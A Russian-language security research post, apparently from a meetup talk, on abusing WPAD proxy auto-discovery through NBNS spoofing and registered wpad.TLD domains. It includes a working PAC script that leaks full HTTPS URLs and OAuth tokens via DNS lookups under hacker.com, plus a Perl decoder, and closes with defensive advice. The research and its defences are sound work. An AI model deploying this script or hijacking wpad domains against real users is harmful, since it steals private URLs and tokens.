Привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. На последнем Security Meetup’е я поделился результатами своего исследования протокола автоматической настройки прокси WPAD. Для тех, кто пропустил, — сегодняшний пост. Я расскажу о том, что такое WPAD, какие возможности для эксплуатации он предоставляет с точки зрения злоумышленника, а также покажу примеры того, как можно частично перехватывать HTTPS-трафик с помощью этой технологии.
Немного матчасти
WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config), представляющий собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении запроса браузер вызывает функцию FindProxyForURL из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это примерно так:
function FindProxyForURL(url, host) {
if (host == "mail.ru") {
return "PROXY mp.example.com:8080";
} else
if (host == "google.com") {
return "PROXY gp.example.com:5050";
} else {
return "DIRECT";
}
}
Помимо FindProxyForURL в PAC-скрипте доступны различные вспомогательные функции для более гибкой настройки. С их помощью можно, например, указать, что браузер должен открывать сайт mail.ru с часу до двух в понедельник через %proxynameX%, а в другое время — через %proxynameY%. Адрес PAC-скрипта можно прописать в настройках прокси браузера в явном виде. Например, в Firefox это можно сделать в пункте настроек под названием «URL автоматической настройки сервиса прокси». Однако администратору сети вряд ли захочется прописывать настройки для всех браузеров каждого клиента вручную. Гораздо удобнее воспользоваться для этого WPAD.
Как работает WPAD
Первым делом WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (однако такая возможность практически не поддерживается браузерами), а затем отправляет HTTP-запрос на http://wpad.%domain%/wpad.dat и скачивает полученный файл. При этом в различных операционных системах поиск файла wpad.dat будет происходить по-разному.
Предположим, из настроек DHCP мы узнали, что имя домена — msk.office.work. Тогда Windows XP попытается найти его на wpad.msk.office.work (резолвинг домена будет через DNS), а потом просто на wpad.office.work.
Запросы, которые делает Windows XP
Windows 7 ведет себя по-другому: сначала по DNS проверяет полный домен, потом пытается зарезолвить имя WPAD через Link-Local Multicast Name Resolution, а затем — с помощью NetBIOS Name Service. Последние два являются широковещательными протоколами, а LLMNR поддерживается только Windows, начиная с Vista.
- http://wpad.msk.office.work/wpad.dat (DNS)
- http://wpad/wpad.dat (LLMNR)
- http://wpad/wpad.dat (NBNS)
Запросы, которые делает Windows 7
Использование в локальной сети
Представим себя на месте злоумышленника, который хочет пустить весь локальный трафик через свой прокси-сервер. Если мы находимся в том же сегменте локальной сети (т.е. можем использовать NetBIOS), нам даже ничего не придется делать — можно воспользоваться готовым NBNS-спуфером из Metasploit.
Осуществление NBNS-спуффинга в локальной сети
Если же мы находимся в другой подсети, но в нашей сети есть WINS-сервер, мы можем поднять Windows-хост с именем WPAD, чтобы WINS распространил информацию о нас. Этот кейс вполне рабочий: при тестировании в достаточно крупной локальной сети одного вуза на хост, находящийся в сети даже меньше /24, начали приходить запросы с сотен различных IP.
Использование в интернете
В настоящее время существует 861 домен первого уровня. Помимо привычных .com, .net, .ru, .org, среди них встречаются и более экзотические — от .work и .school до .ninja и .vodka. Имена этих доменов вполне могут быть прописаны в опции domain-name DHCP-серверов. Таким образом, если в domain-name будет указан домен .university, а мы зарегистрируем домен wpad.university, то все запросы за WPAD-файлом попадут к нам. Причем, если посмотреть на wpad.TLD доменов первого уровня, мы увидим следующую картину:
Свободные для регистрации домены WPAD
Пару лет назад я регистрировал домен wpad.co, на который действительно шли многочисленные запросы за wpad.dat файлом. Но есть и более свежие свидетельства возможности перехватить то, что нам не предназначалось: месяц назад я зарегистрировал домен wpad.work. За 11 дней к нему обратились с 3901 уникального IP. При этом заметно, что количество запросов уменьшалось в выходные.
Количество обращений к wpad.work: динамика по дням недели
Что можно найти в логах, если отправить всех страждущих через свой прокси, можно увидеть ниже.
Фрагмент лога прокси-сервера
Profit?
Итак, мы заставили пользователей ходить через подконтрольный нам прокси-сервер. Что это нам дает? В случае HTTP-запросов — полный контроль над трафиком: заголовками и телом запроса и ответа, всеми параметрами, cookies, данными сабмитов форм.
HTTP-запрос через прокси-сервер
В случае с HTTPS мы увидим только метод CONNECT. Максимум доступной нам информации — хост и user-agent. К сожалению, самое интересное, то есть данные обмена между клиентом и сервером после handshake, для нас будет выглядеть лишь как набор бинарных данных.
HTTPS-запрос через прокси-сервер
Back to PAC
Несмотря на то, что PAC-скрипт написан на JavaScript, в нем недоступны объекты window, document, не получится вывести пользователю alert (он будет отображен только в логах браузера). Тем не менее, даже в этой урезанной версии есть свои приятные функции.
JavaScript-функции, доступные из PAC-скрипта
Одна из них — isResolvable — проверяет, возможно ли разрешить доменное имя в IP-адрес. Работает это так:
if (isResolvable(host))
return "PROXY proxy1.example.com:8080";
Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе «URL». Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash).
Например, URL http://mail.ru/?a=123#token=secret обработается следующим образом:
Chrome
Firefox
Независимо от того, какой браузер используется, у нас есть полный URL. С этим уже можно работать. Попытаемся, используя isResolvable, перехватить URL. Мы кодируем URL таким образом, чтобы он был валидным именем хоста, и дописываем .hacker.com, в NS-записи которого прописан DNS-сервер, где мы же отвечаем на все запросы и логируем их.
Итак, с помощью нехитрых преобразований:
function encode(str) {
r = str.toLowerCase()
.replace(/([^a-z1-9])/g, function(m) {
return "0" + m.charCodeAt(0)
})
.replace(/([^\.]{60})(.)/g, '$1.$2')
.substr(0, 240);
return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";
}
function FindProxyForURL(url, host) {
var u = encode(url);
return isResolvable(u) ? "DIRECT" : "DIRECT";
}
наш тестовый URL https://example.ru/?token=123 превращается в элегантное
https058047047example046ru047063token061123.hacker.com, из которого, посредством Perl-преобразования
echo 'https058047047example046ru047063token061123.hacker.com' \
| perl -lape 's/\.hacker\.com$//; s/\.//g; s/0(..)/chr($1)/eg;'
можно легко получить исходную строку, то есть полный URL HTTPS-запроса. Таким образом, воспользовавшись неправильной настройкой клиента, злоумышленник может частично обойти HTTPS-шифрование и получить доступ к URL’ам всех запросов пользователя.
Не секрет, что во фрагменте URL (location.hash) часто передаются OAuth-токены. Таким образом, в случае использования Firefox, к нам в руки могут попасть и они.
В результате размещения этого скрипта на wpad.work были перехвачены несколько тысяч запросов пользователей, среди них самыми популярными протоколами оказались:
- 53% HTTPS
- 46% HTTP
- 0.15% WS
- 0.08% WSS
Чаще всего запросы приходили из следующих стран:
- 14% Россия
- 11% США
- 9% Китай
- 7% Индия
Итого
С помощью WPAD можно, невзирая на HTTPS, перехватывать локальный трафик, токены OAuth и другую информацию из URL. Однако мы как честные люди такого делать не будем. Лучше попробуем, используя имеющиеся у нас знания, защититься от потенциальных атак. Ниже — основные рекомендации, выполнение которых позволит обезопасить свой трафик.
- Не использовать «чужие» домены. Обычно советуют при отсутствии своего домена использовать .local, но я бы не рекомендовал этого делать, поскольку злоумышленник сможет совершить атаку через broadcast-резолверы, которые используют тот же домен — в частности Bonjour. Оптимально использовать зарегистрированное доменное имя (необязательно делать его разрешимым снаружи).
- Резервировать адреса wpad в доменных зонах.
- Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).
P.S. Если вы хотите принять участие в одном из следующих Security Meetup’ов, и вам есть о чем рассказать, напишите Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.